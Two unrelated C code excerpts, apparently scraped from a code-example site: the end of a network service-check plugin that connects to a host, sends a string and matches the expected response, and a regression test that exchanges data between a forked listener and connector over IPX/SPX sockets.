	if(PROTOCOL==IPPROTO_UDP && !(server_expect_count && server_send)){
		usage(_("With UDP checks, a send/expect string must be specified."));
	}

	/* set up the timer */
	signal (SIGALRM, socket_timeout_alarm_handler);
	alarm (socket_timeout);

	/* try to connect to the host at the given port number */
	gettimeofday (&tv, NULL);

	result = np_net_connect (server_address, server_port, &sd, PROTOCOL);
	if (result == STATE_CRITICAL) return STATE_CRITICAL;

#ifdef HAVE_SSL
	if (flags & FLAG_SSL){
		result = np_net_ssl_init(sd);
		if (result == STATE_OK && check_cert == TRUE) {
			result = np_net_ssl_check_cert(days_till_exp);
		}
	}
	if(result != STATE_OK || check_cert == TRUE){
		np_net_ssl_cleanup();
		if(sd) close(sd);
		return result;
	}
#endif /* HAVE_SSL */

	if (server_send != NULL) {		/* Something to send? */
		my_send(server_send, strlen(server_send));
	}

	if (delay > 0) {
		tv.tv_sec += delay;
		sleep (delay);
	}

	if(flags & FLAG_VERBOSE) {
		if (server_send) {
			printf("Send string: %s\n", server_send);
		}
		if (server_quit) {
			printf("Quit string: %s\n", server_quit);
		}
		printf("server_expect_count: %d\n", (int)server_expect_count);
		for(i = 0; i < server_expect_count; i++)
			printf("\t%d: %s\n", i, server_expect[i]);
	}

	/* if(len) later on, we know we have a non-NULL response */
	len = 0;
	if (server_expect_count) {

		/* watch for the expect string */
		while ((i = my_recv(buffer, sizeof(buffer))) > 0) {
			status = realloc(status, len + i + 1);
			memcpy(&status[len], buffer, i);
			len += i;

			/* stop reading if user-forced or data-starved */
			if(i < sizeof(buffer) || (maxbytes && len >= maxbytes))
				break;

			if (maxbytes && len >= maxbytes)
				break;
		}

		/* no data when expected, so return critical */
		if (len == 0)
			die (STATE_CRITICAL, _("No data received from host\n"));

		/* force null-termination and strip whitespace from end of output */
		status[len--] = '\0';
		/* print raw output if we're debugging */
		if(flags & FLAG_VERBOSE)
			printf("received %d bytes from host\n#-raw-recv-------#\n%s\n#-raw-recv-------#\n",
			       (int)len + 1, status);
		while(isspace(status[len])) status[len--] = '\0';

		match = np_expect_match(status,
                                server_expect,
                                server_expect_count,
                                (flags & FLAG_MATCH_ALL ? TRUE : FALSE),
                                (flags & FLAG_EXACT_MATCH ? TRUE : FALSE),
                                (flags & FLAG_VERBOSE ? TRUE : FALSE));
	}

	if (server_quit != NULL) {
		my_send(server_quit, strlen(server_quit));
	}
#ifdef HAVE_SSL
	np_net_ssl_cleanup();
#endif
	if (sd) close (sd);

	microsec = deltime (tv);
	elapsed_time = (double)microsec / 1.0e6;

	if (flags & FLAG_TIME_CRIT && elapsed_time > critical_time)
		result = STATE_CRITICAL;
	else if (flags & FLAG_TIME_WARN && elapsed_time > warning_time)
		result = STATE_WARNING;

	/* did we get the response we hoped? */
	if(match == FALSE && result != STATE_CRITICAL)
		result = expect_mismatch_state;

	/* reset the alarm */
	alarm (0);

	/* this is a bit stupid, because we don't want to print the
	 * response time (which can look ok to the user) if we didn't get
	 * the response we were looking for. if-else */
	printf("%s %s - ", SERVICE, state_text(result));

	if(match == FALSE && len && !(flags & FLAG_HIDE_OUTPUT))
		printf("Unexpected response from host/socket: %s", status);
	else {
		if(match == FALSE)
			printf("Unexpected response from host/socket on ");
		else
			printf("%.3f second response time on ", elapsed_time);
		if(server_address[0] != '/')
			printf("port %d", server_port);
		else
			printf("socket %s", server_address);
	}

	if (match != FALSE && !(flags & FLAG_HIDE_OUTPUT) && len)
		printf (" [%s]", status);

	/* perf-data doesn't apply when server doesn't talk properly,
	 * so print all zeroes on warn and crit. Use fperfdata since
	 * localisation settings can make different outputs */
	if(match == FALSE)
		printf ("|%s",
				fperfdata ("time", elapsed_time, "s",
				(flags & FLAG_TIME_WARN ? TRUE : FALSE), 0,
				(flags & FLAG_TIME_CRIT ? TRUE : FALSE), 0,
				TRUE, 0,
				TRUE, socket_timeout)
			);
	else
		printf("|%s",
				fperfdata ("time", elapsed_time, "s",
				(flags & FLAG_TIME_WARN ? TRUE : FALSE), warning_time,
				(flags & FLAG_TIME_CRIT ? TRUE : FALSE), critical_time,
				TRUE, 0,
				TRUE, socket_timeout)
			);

	putchar('\n');
	return result;
}
Example #30
0
int
main(int argc, char *argv[])
{
	int error, sock_listen, sock_recv, sock_send;
	struct sockaddr_ipx sipx_listen, sipx_send;
	pid_t childpid, parentpid;

	/*
	 * Socket to receive with.
	 */
	sock_listen = socket(PF_IPX, SOCK_STREAM, 0);
	if (sock_listen < 0)
		err(-1, "sock_listen = socket(PF_IPX, SOCK_STREAM, 0)");

	bzero(&sipx_listen, sizeof(sipx_listen));
	sipx_listen.sipx_len = sizeof(sipx_listen);
	sipx_listen.sipx_family = AF_IPX;
	sipx_listen.sipx_addr = ipx_addr(IPX_ENDPOINT);

	if (bind(sock_listen, (struct sockaddr *)&sipx_listen,
	    sizeof(sipx_listen)) < 0)
		err(-1, "bind(sock_listen)");

	if (listen(sock_listen, -1) < 0)
		err(-1, "listen(sock_listen)");

	parentpid = getpid();

	childpid = fork();
	if (childpid < 0)
		err(-1, "fork()");

	if (childpid == 0) {
		/*
		 * The child: accept connections and process data on them.
		 */
		while (1) {
			sock_recv = accept(sock_listen, NULL, NULL);
			if (sock_recv < 0) {
				warn("accept()");
				continue;
			}

			my_recv(sock_recv, "listener", parentpid);
			my_send(sock_recv, "listener", parentpid);

			close(sock_recv);
		}
	} else {
		/*
		 * The parent: connect, send data, receive it back, and exit;
		 * build two connections, once using a full connect() API
		 * call, and the second using sendto().
		 */

		/*
		 * Socket to send with.
		 */
		sock_send = socket(PF_IPX, SOCK_STREAM, 0);
		if (sock_send < 0) {
			error = errno;
			(void)kill(childpid, SIGTERM);
			errno = error;
			err(-1, "sock_send = socket(PF_IPX, SOCK_STREAM, 0)");
		}

		bzero(&sipx_send, sizeof(sipx_send));
		sipx_send.sipx_len = sizeof(sipx_send);
		sipx_send.sipx_family = AF_IPX;
		sipx_send.sipx_addr = ipx_addr(IPX_ENDPOINT);

		if (connect(sock_send, (struct sockaddr *)&sipx_send,
		    sizeof(sipx_send)) < 0) {
			error = errno;
			(void)kill(childpid, SIGTERM);
			errno = error;
			err(-1, "sock_send = socket(PF_IPX, SOCK_STREAM, 0)");
		}

		my_send(sock_send, "connector", childpid);
		my_recv(sock_send, "connector", childpid);

		close(sock_send);

#ifdef SPX_SUPPORTS_SENDTO_WITH_CONNECT
		sock_send = socket(PF_IPX, SOCK_STREAM, 0);
		if (sock_send < 0) {
			error = errno;
			(void)kill(childpid, SIGTERM);
			errno = error;
			err(-1, "sock_send = socket(PF_IPX, SOCK_STREAM, 0)");
		}

		bzero(&sipx_send, sizeof(sipx_send));
		sipx_send.sipx_len = sizeof(sipx_send);
		sipx_send.sipx_family = AF_IPX;
		sipx_send.sipx_addr = ipx_addr(IPX_ENDPOINT);

		my_sendto(sock_send, "connector", childpid,
		    (struct sockaddr *)&sipx_send, sizeof(sipx_send));
		my_recv(sock_send, "connector", childpid);

		close(sock_send);
#endif

		(void)kill(childpid, SIGTERM);
	}

	return (0);
}